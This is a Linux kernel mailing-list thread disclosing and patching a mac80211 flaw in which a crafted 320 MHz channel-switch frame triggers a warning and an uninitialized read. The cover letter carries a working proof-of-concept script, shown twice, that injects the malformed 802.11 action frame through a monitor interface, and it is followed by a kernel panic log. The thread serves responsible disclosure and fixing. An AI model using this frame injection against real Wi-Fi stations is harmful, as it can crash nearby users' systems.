* [PATCH 0/1] wifi: mac80211: reject invalid 320 MHz CSA bandwidth
@ 2026-09-22 18:02 Ren Wei
2026-09-22 18:02 ` [PATCH 1/1] " Ren Wei
0 siblings, 1 reply; 2+ messages in thread
From: Ren Wei @ 2026-09-22 18:02 UTC (permalink / raw)
To: linux-wireless; +Cc: johannes, michael-cy.lee, vega, caoruide123, weir
From: Ruide Cao <caoruide123@gmail.com>
Hi Linux kernel maintainers,
We found an issue in net/mac80211/spectmgmt.c.
An attacker-controlled Bandwidth Indication element can set
new_chandef.width to NL80211_CHAN_WIDTH_320 on a non-6-GHz link. In
validate_chandef_by_ht_vht_oper(), the 320 MHz switch case executes
WARN_ON(1) but does not initialize vht_oper.chan_width before passing the
structure to ieee80211_chandef_vht_oper(), which reads that byte.
Action-frame elements are parsed in the highest connection mode, so this is
reachable even on a VHT connection; an EHT beacon provides another path. A
malicious AP can repeatedly trigger kernel warnings, crash systems using
panic_on_warn, and make channel-switch acceptance depend on stale stack
contents.
Privilege model: An adjacent Wi-Fi attacker that can transmit a crafted
CSA/Bandwidth Indication frame to a station associated with the relevant
BSS can reach this path. No local login or CAP_NET_ADMIN, user namespace,
or network namespace on the victim is required; a Wi-Fi-capable transmitter
is required. The `unshare -Urn` in the reproducer below is only for the
local mac80211_hwsim test harness (namespace-local setup/injection).
Reproducer:
#!/bin/sh
set -eu
need_cmd() {
command -v "$1" >/dev/null 2>&1 || {
echo "missing command: $1" >&2
exit 1
}
}
if [ "${1:-}" != "--inner" ]; then
need_cmd unshare
if [ "$(id -u)" -eq 0 ] && [ -w /proc/sys/kernel/panic_on_warn ]; then
echo 1 > /proc/sys/kernel/panic_on_warn || true
fi
if [ ! -r /proc/sys/kernel/panic_on_warn ] ||
[ "$(cat /proc/sys/kernel/panic_on_warn)" != "1" ]; then
echo "kernel.panic_on_warn must be 1 before running this PoC" >&2
exit 1
fi
SELF=$(readlink -f "$0")
exec unshare -Urn "$SELF" --inner
fi
shift
need_cmd gcc
need_cmd hostapd
need_cmd iw
need_cmd make
need_cmd pkg-config
need_cmd python3
DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
cd "$DIR"
make >/dev/null
ip link set lo up
# Custom regdomain index 3 maps to hwsim_world_regdom_custom_04, which allows
# 80 MHz operation on 5 GHz. The built-in radios in this VM boot under world
# regdom with NO_IR, so they cannot host a VHT AP on channel 36.
./hwsim_new_radio 1 3
./hwsim_new_radio 1 3
for _ in $(seq 1 20); do
if [ -d /sys/class/net/wlan0 ] && [ -d /sys/class/net/wlan1 ]; then
break
fi
sleep 1
done
if [ ! -d /sys/class/net/wlan0 ] || [ ! -d /sys/class/net/wlan1 ]; then
echo "failed to create two hwsim radios inside the user namespace" >&2
exit 1
fi
trap 'test -f /tmp/r7q-hostapd.pid && kill "$(cat /tmp/r7q-hostapd.pid)" 2>/dev/null || true' EXIT
cat > /tmp/r7q-hostapd.conf <<'EOF'
interface=wlan0
driver=nl80211
ssid=testvht
hw_mode=a
channel=36
wmm_enabled=1
auth_algs=1
ignore_broadcast_ssid=0
ieee80211n=1
ht_capab=[HT40+]
ieee80211ac=1
require_vht=1
vht_oper_chwidth=1
vht_oper_centr_freq_seg0_idx=42
EOF
ip link set wlan0 up
ip link set wlan1 up
hostapd -B -P /tmp/r7q-hostapd.pid /tmp/r7q-hostapd.conf
sleep 3
iw dev wlan1 connect -w testvht 5180
iw dev wlan1 link
AP=$(iw dev wlan0 info | awk '/addr/ {print $2; exit}')
STA=$(iw dev wlan1 info | awk '/addr/ {print $2; exit}')
export AP STA
iw dev wlan0 interface add mon0 type monitor
ip link set mon0 up
python3 - <<'PY'
import os
import socket
import time
def mac(text: str) -> bytes:
return bytes.fromhex(text.replace(":", ""))
sta = mac(os.environ["STA"])
ap = mac(os.environ["AP"])
# Minimal radiotap header + 802.11 spectrum-management action frame.
# Body:
# category = 0 (spectrum management)
# action = 4 (channel switch)
# CSA IE = switch to channel 36, count 1
# BW Indication extension IE with EHT width=320 on a 5 GHz link
rtap = b"\x00\x00\x08\x00\x00\x00\x00\x00"
hdr = b"\xd0\x00\x00\x00" + sta + ap + ap + b"\x00\x00"
body = (
bytes([0, 4]) +
bytes([37, 3, 1, 36, 1]) +
bytes([255, 5, 135, 0, 4, 42, 42])
)
pkt = rtap + hdr + body
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
sock.bind(("mon0", 0))
for _ in range(5):
sock.send(pkt)
time.sleep(0.1)
print("malformed CSA action frame sent")
PY
# The kernel panics asynchronously in cfg80211/mac80211 workqueue context.
sleep 5
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN PoC------
#!/bin/sh
set -eu
need_cmd() {
command -v "$1" >/dev/null 2>&1 || {
echo "missing command: $1" >&2
exit 1
}
}
if [ "${1:-}" != "--inner" ]; then
need_cmd unshare
if [ "$(id -u)" -eq 0 ] && [ -w /proc/sys/kernel/panic_on_warn ]; then
echo 1 > /proc/sys/kernel/panic_on_warn || true
fi
if [ ! -r /proc/sys/kernel/panic_on_warn ] ||
[ "$(cat /proc/sys/kernel/panic_on_warn)" != "1" ]; then
echo "kernel.panic_on_warn must be 1 before running this PoC" >&2
exit 1
fi
SELF=$(readlink -f "$0")
exec unshare -Urn "$SELF" --inner
fi
shift
need_cmd gcc
need_cmd hostapd
need_cmd iw
need_cmd make
need_cmd pkg-config
need_cmd python3
DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
cd "$DIR"
make >/dev/null
ip link set lo up
# Custom regdomain index 3 maps to hwsim_world_regdom_custom_04, which allows
# 80 MHz operation on 5 GHz. The built-in radios in this VM boot under world
# regdom with NO_IR, so they cannot host a VHT AP on channel 36.
./hwsim_new_radio 1 3
./hwsim_new_radio 1 3
for _ in $(seq 1 20); do
if [ -d /sys/class/net/wlan0 ] && [ -d /sys/class/net/wlan1 ]; then
break
fi
sleep 1
done
if [ ! -d /sys/class/net/wlan0 ] || [ ! -d /sys/class/net/wlan1 ]; then
echo "failed to create two hwsim radios inside the user namespace" >&2
exit 1
fi
trap 'test -f /tmp/r7q-hostapd.pid && kill "$(cat /tmp/r7q-hostapd.pid)" 2>/dev/null || true' EXIT
cat > /tmp/r7q-hostapd.conf <<'EOF'
interface=wlan0
driver=nl80211
ssid=testvht
hw_mode=a
channel=36
wmm_enabled=1
auth_algs=1
ignore_broadcast_ssid=0
ieee80211n=1
ht_capab=[HT40+]
ieee80211ac=1
require_vht=1
vht_oper_chwidth=1
vht_oper_centr_freq_seg0_idx=42
EOF
ip link set wlan0 up
ip link set wlan1 up
hostapd -B -P /tmp/r7q-hostapd.pid /tmp/r7q-hostapd.conf
sleep 3
iw dev wlan1 connect -w testvht 5180
iw dev wlan1 link
AP=$(iw dev wlan0 info | awk '/addr/ {print $2; exit}')
STA=$(iw dev wlan1 info | awk '/addr/ {print $2; exit}')
export AP STA
iw dev wlan0 interface add mon0 type monitor
ip link set mon0 up
python3 - <<'PY'
import os
import socket
import time
def mac(text: str) -> bytes:
return bytes.fromhex(text.replace(":", ""))
sta = mac(os.environ["STA"])
ap = mac(os.environ["AP"])
# Minimal radiotap header + 802.11 spectrum-management action frame.
# Body:
# category = 0 (spectrum management)
# action = 4 (channel switch)
# CSA IE = switch to channel 36, count 1
# BW Indication extension IE with EHT width=320 on a 5 GHz link
rtap = b"\x00\x00\x08\x00\x00\x00\x00\x00"
hdr = b"\xd0\x00\x00\x00" + sta + ap + ap + b"\x00\x00"
body = (
bytes([0, 4]) +
bytes([37, 3, 1, 36, 1]) +
bytes([255, 5, 135, 0, 4, 42, 42])
)
pkt = rtap + hdr + body
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
sock.bind(("mon0", 0))
for _ in range(5):
sock.send(pkt)
time.sleep(0.1)
print("malformed CSA action frame sent")
PY
# The kernel panics asynchronously in cfg80211/mac80211 workqueue context.
sleep 5
------END PoC--------
----BEGIN crash log----
[ 598.942311][ T161] Kernel panic - not syncing: kernel: panic_on_warn set ...
[ 598.943617][ T161] CPU: 2 UID: 0 PID: 161 Comm: kworker/u16:4 Not tainted 6.12.95 #2
[ 598.944775][ T161] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 598.946556][ T161] Workqueue: events_unbound cfg80211_wiphy_work
[ 598.947477][ T161] Call Trace:
[ 598.947983][ T161] <TASK>
[ 598.948487][ T161] panic+0x533/0x610
[ 598.949159][ T161] ? __pfx_panic+0x10/0x10
[ 598.949879][ T161] ? ieee80211_parse_ch_switch_ie+0x162a/0x1d30
[ 598.950801][ T161] check_panic_on_warn+0x61/0x80
[ 598.951537][ T161] __warn+0xdf/0x2e0
[ 598.952138][ T161] ? ieee80211_parse_ch_switch_ie+0x162a/0x1d30
[ 598.953040][ T161] report_bug+0x308/0x3d0
[ 598.953743][ T161] handle_bug+0x111/0x150
[ 598.954417][ T161] exc_invalid_op+0x17/0x50
[ 598.955081][ T161] asm_exc_invalid_op+0x1a/0x20
[ 598.955911][ T161] RIP: 0010:ieee80211_parse_ch_switch_ie+0x162a/0x1d30
[ 598.956917][ T161] Code: ff 41 83 fc 02 b8 01 00 00 00 0f 84 8c f9 ff ff 41 83 fc 03 0f 94 c0 01 c0 e9 7e f9 ff ff 83 7c 24 50 0d 0f 85 54 02 00 00 90 <0f> 0b 90 e9 1f fd ff ff 48 89 ef 48 89 4c 24 08 e8 a1 d6 0c f8 48
[ 598.960118][ T161] RSP: 0018:ffffc9000164f6a0 EFLAGS: 00010246
[ 598.961322][ T161] RAX: 0000000000000000 RBX: ffff88807e2b4c00 RCX: ffffc9000164f7e8
[ 598.962716][ T161] RDX: 0000000000000000 RSI: 000000000000000d RDI: 00000000004f7f90
[ 598.964226][ T161] RBP: ffff88801ca966d8 R08: 0000000000000001 R09: ffffc9000164f770
[ 598.965732][ T161] R10: ffffc9000164f787 R11: 1ffff1102085d361 R12: 000000000000143c
[ 598.967238][ T161] R13: ffffc9000164f748 R14: ffffc9000164f9d7 R15: ffffc9000164f9b8
[ 598.968946][ T161] ? __pfx_ieee80211_parse_ch_switch_ie+0x10/0x10
[ 598.970111][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.971121][ T161] ? __pfx__ieee802_11_parse_elems_full+0x10/0x10
[ 598.972088][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.972898][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.973737][ T161] ieee80211_sta_process_chanswitch+0x28e/0x38f0
[ 598.974697][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.975512][ T161] ? __pfx_ieee80211_sta_process_chanswitch+0x10/0x10
[ 598.976508][ T161] ? __pfx_mark_lock+0x10/0x10
[ 598.977247][ T161] ? hlock_class+0x4e/0x130
[ 598.977908][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.978782][ T161] ? __lock_acquire+0x1249/0x3c40
[ 598.979590][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.980398][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.981248][ T161] ieee80211_sta_rx_queued_mgmt+0x2215/0x2e20
[ 598.982140][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.982957][ T161] ? lock_acquire.part.0+0x119/0x370
[ 598.983771][ T161] ? __pfx_ieee80211_sta_rx_queued_mgmt+0x10/0x10
[ 598.984713][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.985531][ T161] ? skb_dequeue+0x116/0x1a0
[ 598.986187][ T161] ? __pfx_lock_release+0x10/0x10
[ 598.986972][ T161] ? _raw_spin_unlock_irqrestore+0x57/0x80
[ 598.987840][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.988760][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.989597][ T161] ieee80211_iface_work+0x888/0xb70
[ 598.990352][ T161] ? rcu_is_watching+0x12/0xc0
[ 598.991073][ T161] cfg80211_wiphy_work+0x312/0x450
[ 598.991882][ T161] process_one_work+0x855/0x1ac0
[ 598.992749][ T161] ? __pfx_lock_acquire.part.0+0x10/0x10
[ 598.993823][ T161] ? __pfx_process_one_work+0x10/0x10
[ 598.994641][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.995468][ T161] worker_thread+0x4f4/0xd60
[ 598.996214][ T161] ? __pfx_worker_thread+0x10/0x10
[ 598.996939][ T161] kthread+0x27e/0x350
[ 598.997542][ T161] ? _raw_spin_unlock_irq+0x28/0x50
[ 598.998301][ T161] ? __pfx_kthread+0x10/0x10
[ 598.999083][ T161] ret_from_fork+0x31/0x70
[ 598.999741][ T161] ? __pfx_kthread+0x10/0x10
[ 599.000468][ T161] ret_from_fork_asm+0x1a/0x30
[ 599.001232][ T161] </TASK>
[ 599.002136][ T161] Kernel Offset: disabled
[ 599.002862][ T161] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Ruide Cao
Ruide Cao (1):
wifi: mac80211: reject invalid 320 MHz CSA bandwidth
net/mac80211/spectmgmt.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
base-commit: 24ef02f934eeb48830cff6b739abc3c62b1d107b
--
2.47.3
^ permalink raw reply [flat|nested] 2+ messages in thread
* [PATCH 1/1] wifi: mac80211: reject invalid 320 MHz CSA bandwidth
2026-09-22 18:02 [PATCH 0/1] wifi: mac80211: reject invalid 320 MHz CSA bandwidth Ren Wei
@ 2026-09-22 18:02 ` Ren Wei
0 siblings, 0 replies; 2+ messages in thread
From: Ren Wei @ 2026-09-22 18:02 UTC (permalink / raw)
To: linux-wireless; +Cc: johannes, michael-cy.lee, vega, caoruide123, weir
From: Ruide Cao <caoruide123@gmail.com>
The HT/VHT channel definition validator can receive a 320 MHz
bandwidth indication from a received CSA frame on a non-6 GHz link.
It warns for this unsupported width but continues with an uninitialized
vht_operation.chan_width, which is then read by
ieee80211_chandef_vht_oper(). With panic_on_warn enabled, this lets a
received frame panic the kernel.
Reject the channel definition before entering the VHT operation
conversion. This preserves the existing CSA fallback while avoiding
both the warning and the uninitialized read.
Fixes: 21c3f8f95554 ("wifi: mac80211: refactor STA CSA parsing flows")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Ruide Cao <caoruide123@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
net/mac80211/spectmgmt.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/net/mac80211/spectmgmt.c b/net/mac80211/spectmgmt.c
index ec622750e1c9..a70ddb83106b 100644
--- a/net/mac80211/spectmgmt.c
+++ b/net/mac80211/spectmgmt.c
@@ -111,8 +111,8 @@ validate_chandef_by_ht_vht_oper(struct ieee80211_sub_if_data *sdata,
switch (chan_width) {
case NL80211_CHAN_WIDTH_320:
- WARN_ON(1);
- break;
+ chandef->chan = NULL;
+ return;
case NL80211_CHAN_WIDTH_160:
vht_oper.chan_width = IEEE80211_VHT_CHANWIDTH_80MHZ;
vht_oper.center_freq_seg1_idx = vht_oper.center_freq_seg0_idx;
--
2.47.3
^ permalink raw reply related [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-09-22 18:02 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-22 18:02 [PATCH 0/1] wifi: mac80211: reject invalid 320 MHz CSA bandwidth Ren Wei
2026-09-22 18:02 ` [PATCH 1/1] " Ren Wei
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox